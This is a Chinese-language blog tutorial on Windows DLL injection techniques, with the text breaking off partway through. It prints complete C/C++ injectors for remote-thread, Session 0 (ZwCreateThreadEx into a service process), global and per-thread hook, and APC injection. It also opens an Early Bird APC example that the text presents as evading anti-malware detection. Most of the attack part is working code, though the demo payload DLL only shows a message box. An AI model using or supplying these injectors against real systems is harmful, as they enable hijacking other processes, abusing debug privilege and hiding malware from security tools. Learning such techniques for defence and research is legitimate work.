dll注入的前言 dll注入的起源 dll注入又称之为动态链接库注入。DLL 注入这个概念并没有一个明确的“最早提出者”,它更像是在 Windows 操作系统发展过程中,随着对系统内部机制的理解加深,逐渐被发现和利用的一种技术。
在 Windows NT 时代,一些病毒和恶意软件开发者为了实现持久化、隐藏自身或劫持其他程序的行为,开始探索各种技术,其中就包括了类似 DLL 注入的方法。他们可能没有明确提出“DLL 注入”这个术语,但他们的实践为这项技术的发展奠定了基础。
随着恶意软件的增多,安全研究人员和逆向工程师开始深入分析这些恶意软件的行为,并发现了 DLL 注入这种常见的攻击手段。他们对这项技术进行了详细的分析和解释,并将其命名为“DLL 注入”。
随着时间的推移,一些开源工具和框架(例如 Metasploit 等)开始集成 DLL 注入功能,使得这项技术更容易被安全研究人员、渗透测试人员和甚至一些恶意攻击者所使用。
dll注入的分类 根据dll注入的代码和原理,分为很多类,包括但不限于,PE dll注入,hook dll注入(全局钩子或消息钩子),远程dll注入,APC dll注入(以及衍生出来的Early bird注入),Session 0注入,反射dll注入,注册表修改注入。 当然还有许许多多的我还并没有了解和研究的技术,如果之后有所涉及和学习,我会进一步做一个补充
远程线程注入 远程线程注入是最流行和最经典的注入方式了,也是最多文档资料介绍的DLL注入技术。
一些辅助代码 开启权限 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fOk = FALSE ; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1 ; LookupPrivilegeValue(NULL , SE_DEBUG_NAME, &tp.Privileges [0 ].Luid); tp.Privileges [0 ].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE , &tp, sizeof(tp), NULL , NULL ); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk; }
根据进程名寻找PID 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 DWORD GetProcessPID (char * lpProcessName) { DWORD ret = 0 ; PROCESSENTRY32 P32; HANDLE IpSnashot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0 ); if (IpSnashot == INVALID_HANDLE_VALUE) { printf("获取进程快照失败,请检查原因。erro:%d" , GetLastError()); } P32.dwSize = sizeof(PROCESSENTRY32); Process32First(IpSnashot, &P32); do { if (!lstrcmp(P32.szExeFile, lpProcessName)) { ret = P32.th32ProcessID; break ; } } while (Process32Next(IpSnashot, &P32)); CloseHandle(IpSnashot); return ret; }
注入的dll 就是一个简单的弹窗代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL , L"yawataa" , L"yawataa" , MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ; } return TRUE ; }
注入的大概过程 实现步骤:
1.获取进程句柄
通过进程名获取PID
2.计算dll路径长度
3.调用 VirtualAllocEx 在进程里面申请内存
4.拷贝dll路径到内存空间里面
5.获取 kernel32.dll 的地址
6.获取 LoadLibrary 的地址
7.通过 CreateRemoteThread 创建远程线程加载dll
8.关闭句柄
代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <Tlhelp32.h> int GetProcessPID (LPCTSTR lpProcessName) { DWORD ret = 0 ; PROCESSENTRY32 P32; HANDLE IpSnashot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 ); if (IpSnashot == INVALID_HANDLE_VALUE) { printf ("获取进程快照失败,请检查原因。erro:%d" ,GetLastError ()); } P32. dwSize = sizeof (PROCESSENTRY32); Process32First (IpSnashot, &P32); do { if (!lstrcmp (P32. szExeFile, lpProcessName)) { ret = P32. th32ProcessID; break ; } } while (Process32Next (IpSnashot, &P32)); CloseHandle (IpSnashot); printf ("进程ID为:%d\n" , ret); return ret; }int main () { int pid= GetProcessPID ("Notepad.exe" ); HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess == NULL ) { printf ("打开进程失败,请检查原因。erro:%d" ,GetLastError ()); return -1 ; } int len = strlen ("F:\\c\\yawatadll\\x64\Release\\yawatadll.dll" )+1 ; LPVOID lpAddress = VirtualAllocEx (hProcess, NULL , len, MEM_COMMIT, PAGE_READWRITE); if (lpAddress == NULL ) { printf ("申请内存失败,请检查原因。erro:%d" ,GetLastError ()); return -1 ; } WriteProcessMemory (hProcess, lpAddress, "F:\\c\\yawatadll\\x64\\Release\\yawatadll.dll" , len, NULL ); HMODULE hKernel32 = GetModuleHandleA ("kernel32.dll" ); if (hKernel32 == NULL ) { printf ("获取kernel32.dll失败,请检查原因。erro:%d" ,GetLastError ()); return -1 ; } FARPROC hLoadLibrary = GetProcAddress (hKernel32, "LoadLibraryA" ); if (hLoadLibrary == NULL ) { printf ("获取LoadLibrary失败,请检查原因。erro:%d" ,GetLastError ()); return -1 ; } HANDLE hThread = CreateRemoteThread (hProcess, NULL , 0 , (LPTHREAD_START_ROUTINE)hLoadLibrary, lpAddress, 0 , NULL ); if (hThread == NULL ) { printf ("创建远程线程失败,请检查原因。erro:%d" ,GetLastError ()); return -1 ; } WaitForSingleObject (hThread, INFINITE); printf ("注入成功!" ); CloseHandle (hThread); CloseHandle (hProcess); return 0 ; }
Session 0注入 这个注入是源于突破会话隔离的远程线程注入
SESSION 0 隔离 在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做 Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序
将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而
用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目
标,通过“劫持”该服务,达到提升自己权限级别的目的
从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要
运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用
户创建Session 2,以此类推,如下图所示
更直观的我们可以在任务管理器中可以看见进程所在的会话层,如下图
原理 由于SESSION 0 隔离机制的存在,使得传统的远程线程注入系统服务进程失败,和传统的CreateRemoteThread函数实现的DLL远线程注入的唯一一个区别就是,我们调用的是更为底层的ZwCreateThreadEx来创建线程
ZwCreateThreadEx 函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中,
CreateRemoteThread 注入系统进程会失败的原因是因为调用 ZwCreateThreadEx 创建远程线程时,第
七个参数 CreateThreadFlags 为1
使用 CreateRemoteThread 注入失败DLL失败的关键在第七个参数 CreateThreadFlags , 他会导致线
程创建完成后一直挂起无法恢复进程运行,导致注入失败
ZwCreateThreadEx
ZwCreateThreadEx 是一个未文档化的API,但是可以通过 GetProcAddress 来获取其地址
(小tip)
未文档化的API:微软官方写了,但是不会拿出来给大家用,但是有大神逆向内核,逆出来了这个api的形式
未导出的API:微软官方写了,但是不会拿出来给大家用,自己偷偷用
(小tip)
同时有一个注意的点就是,ZwCreateThreadEx 在64位和32位的定义下是不一样的
我们可以这样声明结构体(预编译的形式),让代码自动选择对应的定义形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #ifdef _WIN64 typedef DWORD (WINAPI * typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle ,ACCESS_MASK DesiredAccess ,LPVOID ObjectAttributes ,HANDLE ProcessHandle ,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags ,SIZE_T ZeroBits ,SIZE_T StackSize ,SIZE_T MaximumStackSize ,LPVOID pUnkown); #else typedef DWORD (WINAPI * typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle ,ACCESS_MASK DesiredAccess ,LPVOID ObjectAttributes ,HANDLE ProcessHandle ,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended ,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
注入 整个流程还是这样
1.打开进程,获取句柄
2.申请内存
3.写入内存
4.获取loadliabary
5.创建线程执行
6.等待线程结束
7.关闭句柄
session0函数的重点必须拿到 SE_PRIVILEGE_ENABLED 权限,所以需要提权
SE_PRIVILEGE_ENABLED 就是调试权限,我们必须要有这个权限才能对线程进程这些进行操作,默认是不开启的。我们可以在cmd命令行中输入 whoami /all 这个命令来看一下
完整的代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 #include <windows.h> #include <tlhelp32.h> #include <stdio.h> #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);#else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);#endif DWORD GetProcessPID(char * lpProcessName) { DWORD ret = 0 ; PROCESSENTRY32 P32; HANDLE IpSnashot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0 ); if (IpSnashot == INVALID_HANDLE_VALUE) { printf("获取进程快照失败,请检查原因。erro:%d" , GetLastError()); } P32.dwSize = sizeof (PROCESSENTRY32); Process32First(IpSnashot, &P32); do { if (!lstrcmp(P32.szExeFile, lpProcessName)) { ret = P32.th32ProcessID; break ; } } while (Process32Next(IpSnashot, &P32)); CloseHandle(IpSnashot); return ret; }BOOL EnableDebugPrivileg() { HANDLE hToken; BOOL fok = FALSE ; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1 ; LookupPrivilegeValue(NULL , SE_DEBUG_NAME, &tp.Privileges[0 ].Luid); tp.Privileges[0 ].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE , &tp, sizeof (tp), NULL , NULL ); fok = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fok; }BOOL zwCreatThreadExInject(int PID, const char * pszDllFileName) { EnableDebugPrivileg(); HANDLE hRemoteThread; DWORD dwStatus = 0 ; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE , PID); if (hProcess == NULL ) { printf("OpenProcess error : %d\n" , GetLastError()); return FALSE ; } SIZE_T dwSize = (strlen(pszDllFileName) + 1 ); LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL , dwSize, MEM_COMMIT, PAGE_READWRITE); if (pDllAddr == NULL ) { printf("VirtualAllocEx error\n" ); CloseHandle(hProcess); return FALSE ; } if (!WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL )) { printf("WriteProcessMemory error\n" ); VirtualFreeEx(hProcess, pDllAddr, 0 , MEM_RELEASE); CloseHandle(hProcess); return FALSE ; } HMODULE hNtdllDll = LoadLibraryA("ntdll.dll" ); if (NULL == hNtdllDll) { printf("Load ntdll.dll error\n" ); VirtualFreeEx(hProcess, pDllAddr, 0 , MEM_RELEASE); CloseHandle(hProcess); return FALSE ; } FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandleA("kernel32.dll" ), "LoadLibraryA" ); if (NULL == pFuncProcAddr) { printf("Get LoadLibraryA error\n" ); FreeLibrary(hNtdllDll); VirtualFreeEx(hProcess, pDllAddr, 0 , MEM_RELEASE); CloseHandle(hProcess); return FALSE ; } typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx" ); if (NULL == ZwCreateThreadEx) { printf("GetProcAddress error\n" ); FreeLibrary(hNtdllDll); VirtualFreeEx(hProcess, pDllAddr, 0 , MEM_RELEASE); CloseHandle(hProcess); return FALSE ; } dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL , hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0 , 0 , 0 , 0 , NULL ); if (dwStatus != 0 ) { printf("ZwCreateThreadEx error: %d\n" , dwStatus); FreeLibrary(hNtdllDll); VirtualFreeEx(hProcess, pDllAddr, 0 , MEM_RELEASE); CloseHandle(hProcess); return FALSE ; } CloseHandle(hProcess); FreeLibrary(hNtdllDll); return TRUE ; }int main() { int pid = GetProcessPID("unsecapp.exe" ); if (pid == 0 ) { printf("未找到进程\n" ); return -1 ; } char * dll_path = "F:\\c\\yawatadll\\x64\\Release\\yawatadll.dll" ; BOOL bRet = zwCreatThreadExInject(pid, dll_path); if (bRet==FALSE ) { printf("Inject dll failed\n" ); } else { printf("Inject dll successfully\n" ); } }
Hook注入 Hook注入利用的Windows操作系统的一个机制
一、什么是 Hook? 首先,我们从“Hook”这个词本身说起。在计算机领域,Hook 的字面意思就是“钩子”。你可以想象一下,在一个程序的执行流程中,就像有一条线在前进。而“钩子”的作用,就是在这条线的某个特定位置,挂上一个我们自己的函数(或者说一段代码)。
当程序执行到这个“挂钩”的位置时,它不会直接继续原来的流程,而是会先执行我们挂上去的函数。等我们的函数执行完毕后,它再决定是继续原来的流程,还是做一些其他的操作。
核心思想: 在程序执行的某个关键点,插入自定义代码,从而改变或增强程序的行为。
二、为什么需要 Hook? Hook 的出现,主要是为了解决以下几个问题:
扩展功能: 很多时候,我们希望在不修改原有程序源代码的情况下,为它增加新的功能。比如,一个现有的软件,我们想给它添加一个统计用户操作的功能,或者在某个事件发生时发送通知。
调试和分析: 在程序运行过程中,我们可能想知道某个函数何时被调用、参数是什么、返回值是什么。Hook 可以在不修改程序的情况下,帮助我们监视这些信息。
拦截和修改: 有些场景下,我们甚至希望拦截程序的某个操作,并对其进行修改。比如,拦截一个文件写入操作,然后修改写入的内容;或者拦截一个网络请求,修改请求的参数。
兼容性: 有时,为了让新旧系统或不同模块之间更好地协同工作,Hook 也可以作为一种桥梁。
三.核心原理和异同 Hook注入是利用 Windows 提供的消息挂钩机制 ,开发者编写包含 HookProc 的 DLL(动态链接库) ,调用 SetWindowsHookEx (例如 WH_GETMESSAGE 、WH_KEYBOARD_LL 等钩子类型)后,系统会自动将该 DLL 注入到指定的线程 / 进程 中。
注入这个dll是Windows 自己自动加载到进程或线程里面的。根据这种机制我们也分为 全局注入(所有进程都插一遍)和消息注入(只插入指定的进程)
需要使用的windows api 1.设置钩子的API
1 2 3 4 5 6 7 HHOOK WINAPI SetWindowsHookEx( _In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId );
2.取消钩子的API
1 2 3 BOOL WINAPI UnhookWindowsHookEx( _In_ HHOOK hhk );
3.钩子回调
钩子回调根据SetWindowsHookEx参数1来设定的。
idHook 要安装的钩子(HOOK)的类型,它决定了 HOOKPROC 被调用的时机,可选参数如下。
值
含义
WH_MSGFILTER = -1
线程级,截获用户与控件交互的消息
WH_JOURNALRECORD = 0
系统级,记录所有消息队列送出的输入消息
WH_JOURNALPLAYBACK = 1
系统级,回放由WH_JOURNALRECORD记录的消息
WH_KEYBOARD = 2
系统级或线程级,截获键盘消息
WH_GETMESSAGE = 3
系统级或线程级,截获从消息队列送出的消息
WH_CALLWNDPROC = 4
系统级或线程级,截获发送到目标窗口的消息
WH_CBT = 5
系统级或线程级,截获系统基本消息例如:窗口的创建,激活,关闭,最大/最小化,移动等
WH_SYSMSGFILTER = 6
系统级,截获系统范围内用户与控件交互的消息
WH_MOUSE = 7
系统级或线程级,截获鼠标消息
WH_HARDWARE = 8
系统级或线程级,截获非标准硬件(非鼠标,键盘)的消息
WH_DEBUG = 9
系统级或线程级,在其它钩子调用前调用,用于调试钩子
WH_SHELL = 10
系统级或线程级,截获发给外壳应用程序的消息
WH_FOREGROUNDIDLE = 11
系统级或线程级,在程序前台线程空闲时调用
WH_CALLWNDPROCRET = 12
系统级或线程级,截获目标窗口处理完的消息在SendMessage被调用后发生
WH_KEYBOARD_LL = 13
系统级,截获全局键盘消息
WH_MOUSE_LL = 14
系统级,截获全局鼠标消息
1 2 3 4 5 LRESULT CALLBACK MyProc( _In_ int nCode, _In_ WPARAM wParam , _In_ LPARAM lParam )
全局Hook注入 dll代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include "pch.h" #include <Windows.h> HHOOK hHook=NULL ; HINSTANCE hInst = NULL ;LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam) { return CallNextHookEx (hHook, nCode, wParam, lParam); }extern "C" _declspec(dllexport) void Hookstart () { hHook = SetWindowsHookEx (WH_GETMESSAGE, HookProc, hInst, 0 ); }extern "C" _declspec(dllexport) void Hookstop () { if (hHook) { UnhookWindowsHookEx (hHook); } }BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: hInst=hModule; MessageBox (NULL , "yawataa" , "yawataa" , MB_OK); break ; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ; } return TRUE; }
注入c 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <Windows.h> #include <stdio.h> #include <stdlib.h> typedef void (*hookOn) () ;typedef void (*hookOff) () ;void main () { HMODULE hmod = LoadLibraryA ("F:\\c\\hookdll\\x64\\Release\\hookdll.dll" ); if (hmod == NULL ) { printf ("hmod LoadLibraryA Failed\n" ); return ; } hookOn hook_on = (hookOn)GetProcAddress (hmod, "Hookstart" ); if (hook_on == NULL ) { printf ("hook_on GetProcAddress Failed\n" ); return ; } hookOff hook_off = (hookOff)GetProcAddress (hmod, "Hookstop" ); if (hook_off == NULL ) { printf ("hook_off GetProcAddress Failed\n" ); return ; } hook_on (); getchar (); hook_off (); }
不是主播不会截图,是全局钩子给我把截图也卡住了。所以只能照相,兄弟们也能看见,一堆程序全钩住了。
指定线程HOOK注入 重要的点其实就是将dll文件里面的这个参数改为指定的PID
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 #include "pch.h" #include <Windows.h> #include <TlHelp32.h> #include <iostream> #include <stdio.h> #include <vector> DWORD GetProcessPID (const char * lpProcessName) { DWORD ret = 0 ; PROCESSENTRY32 P32; HANDLE hSnapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 ); if (hSnapshot == INVALID_HANDLE_VALUE) { std::cerr << "获取进程快照失败,请检查原因。错误码: " << GetLastError () << std::endl; return 0 ; } P32. dwSize = sizeof (PROCESSENTRY32); if (!Process32First (hSnapshot, &P32)) { std::cerr << "获取第一个进程信息失败。错误码: " << GetLastError () << std::endl; CloseHandle (hSnapshot); return 0 ; } do { if (!lstrcmp (P32. szExeFile, lpProcessName)) { ret = P32. th32ProcessID; break ; } } while (Process32Next (hSnapshot, &P32)); CloseHandle (hSnapshot); return ret; }DWORD GetFirstProcessThreadTID (DWORD processId) { DWORD firstTID = 0 ; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 te32; hThreadSnap = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, 0 ); if (hThreadSnap == INVALID_HANDLE_VALUE) { std::cerr << "获取线程快照失败,请检查原因。错误码: " << GetLastError () << std::endl; return 0 ; } te32. dwSize = sizeof (THREADENTRY32); if (!Thread32First (hThreadSnap, &te32)) { std::cerr << "获取第一个线程信息失败。错误码: " << GetLastError () << std::endl; CloseHandle (hThreadSnap); return 0 ; } do { if (te32. th32OwnerProcessID == processId) { firstTID = te32. th32ThreadID; break ; } } while (Thread32Next (hThreadSnap, &te32)); CloseHandle (hThreadSnap); return firstTID; } HHOOK hHook=NULL ; HINSTANCE hInst = NULL ;LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam) { return CallNextHookEx (hHook, nCode, wParam, lParam); }extern "C" _declspec(dllexport) void Hookstart () { int pid = GetProcessPID ("Notepad.exe" ); int tid= GetFirstProcessThreadTID (pid); if (tid == 0 ) { MessageBox (NULL , "没有找到线程" , "错误" , MB_OK); return ; } hHook = SetWindowsHookEx (WH_GETMESSAGE, HookProc, hInst, tid); }extern "C" _declspec(dllexport) void Hookstop () { if (hHook) { UnhookWindowsHookEx (hHook); } }BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: hInst=hModule; MessageBox (NULL , "yawataa" , "yawataa" , MB_OK); break ; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ; } return TRUE; }
测试的时候将notepad.exe开启,当点击添加新页面或者是关掉notepad时就会弹窗
APC注入 APC的介绍 APC的中文名为为异步过程调用,APC是一个链状的数据结构,可以让一个线程在其本应该执行步骤前执行其他代码。每个线程都维护一个APC链。当线程从等待状态苏醒后,会自动检测自己的APC队列中是否存在APC过程,所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高注入成功率可以向所有线程里面添加APC过程,然后促使线程从休眠中恢复就可以实现注入。
(让线程进入可警告状态的函数 SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、
WaitForMultipleObjectsEx或WaitForSingleObjectEx函数)
APC注入的一些前置知识 1.线程会在进程内执行
2.线程会调用APC队列中的函数
3.应用可以给特定的线程的APC队列中压入函数(有权限控制)
4.压入队列后,线程将按照顺序优先级执行
5.这种技术的缺点是只有当线程处于alertable状态时才会去执行这些APC函数
APC的本质 线程是不能被杀掉、挂起、恢复的,线程在执行的时候自己占据着CPU,别人怎么可能控制它呢?
举个极端的例子:如果不调用API,屏蔽中断,并保证代码不出现异常,线程将永久占用CPU。所以说线
程如果想死,一定是自己执行代码把自己杀死,不存在他杀这种情况。那如果想改变一个线程的行为该
怎么办呢?可以给他提供一个函数,让它自己去调用,这个函数就是APC(Asyncroneus Procedure
Call),即异步过程调用
相当于就是,在线程在占用的时候,我们可以往他的APC队列中插入一个删除的函数,然后使用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsExWaitForMultipleObjectsEx或WaitForSingleObjectEx函数 这些函数 让其进入可警告状态,恢复线程的时候就会执行APC队列中的删除函数
代码实现 思路
OpenProcess 打开进程
VirtualAlloc 申请空间
WriteProcessMemory 写入dll信息
4.根据进程对应的线程id打开线程
5.使用 QueueUserApc 插入执行
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 #include <windows.h> #include <tchar.h> #include <Tlhelp32.h> #include <stdio.h> DWORD GetProcessPID(char * lpProcessName) { DWORD ret = 0 ; PROCESSENTRY32 P32; HANDLE IpSnashot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0 ); if (IpSnashot == INVALID_HANDLE_VALUE) { printf("获取进程快照失败,请检查原因。erro:%d" , GetLastError()); } P32.dwSize = sizeof (PROCESSENTRY32); Process32First(IpSnashot, &P32); do { if (!lstrcmp(P32.szExeFile, lpProcessName)) { ret = P32.th32ProcessID; break ; } } while (Process32Next(IpSnashot, &P32)); CloseHandle(IpSnashot); return ret; }BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fok; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1 ; LookupPrivilegeValue(NULL , SE_DEBUG_NAME, &tp.Privileges[0 ].Luid); tp.Privileges[0 ].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE , &tp, sizeof (tp), NULL , NULL ); fok = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fok; }BOOL ApcInjectDll(DWORD dwPid, char * pszDllName) { EnableDebugPrivilege(); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE , dwPid); if (hProcess == NULL ) { printf("openProcess erro! ;" , GetLastError()); return FALSE ; } int nsize = strlen(pszDllName); LPVOID PDDLaddr = VirtualAllocEx(hProcess, NULL , nsize, MEM_COMMIT, PAGE_READWRITE); SIZE_T wWrittenSize = 0 ; WriteProcessMemory(hProcess, PDDLaddr, pszDllName, nsize, &wWrittenSize); HMODULE hmod = GetModuleHandleA("kernel32.dll" ); FARPROC pFuncAddr = GetProcAddress(hmod, "LoadLibraryA" ); THREADENTRY32 te = { 0 }; te.dwSize = sizeof (te); HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL ); if (hSnap == INVALID_HANDLE_VALUE) { return FALSE ; } DWORD dwRet = 0 ; HANDLE hThread = NULL ; if (Thread32First(hSnap, &te)) { do { if (te.th32OwnerProcessID == dwPid) { hThread = OpenThread(THREAD_ALL_ACCESS, FALSE , te.th32ThreadID); if (hThread) { dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread, (ULONG_PTR)PDDLaddr); hThread = NULL ; } } } while (Thread32Next(hSnap, &te)); } CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSnap); return TRUE ; }int main() { int pid = 0 ; pid = GetProcessPID("Notepad.exe" ); if (pid == 0 ) { printf("未找到进程" ); return 0 ; } char * dll_path = "F:\\c\\yawatadll\\x64\\Release\\yawatadll.dll" ; if (ApcInjectDll(pid, dll_path)) { printf("注入成功" ); return 0 ; } }
(Early Bird)APC注入的衍生 Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,该函数会清空并处理APC队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权,从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息。
[原创]APC与Early Bird注入-编程技术-看雪论坛-安全社区|非营利性质技术交流社区
代码实现
创建一个挂起的进程(通常是windows的合法进程)
在挂起的进程内申请一块可读可写可执行的内存空间
往申请的空间内写入shellcode
将APC插入到该进程的主线程
恢复挂起进程的线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 #include <windows.h> #include <tchar.h> #include <Tlhelp32.h> #include <stdio.h> #include <stdlib.h> DWORD GetProcessPID(char * lpProcessName) { DWORD ret = 0 ; PROCESSENTRY32 P32; HANDLE IpSnashot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0 ); if (IpSnashot == INVALID_HANDLE_VALUE) { printf("获取进程快照失败,请检查原因。erro:%d" , GetLastError()); } P32.dwSize = sizeof (PROCESSENTRY32); Process32First(IpSnashot, &P32); do { if (!lstrcmp(P32.szExeFile, lpProcessName)) { ret = P32.th32ProcessID; break ; } } while (Process32Next(IpSnashot, &P32)); CloseHandle(IpSnashot); return ret; }BOOL EnableDebugPrivilege() { 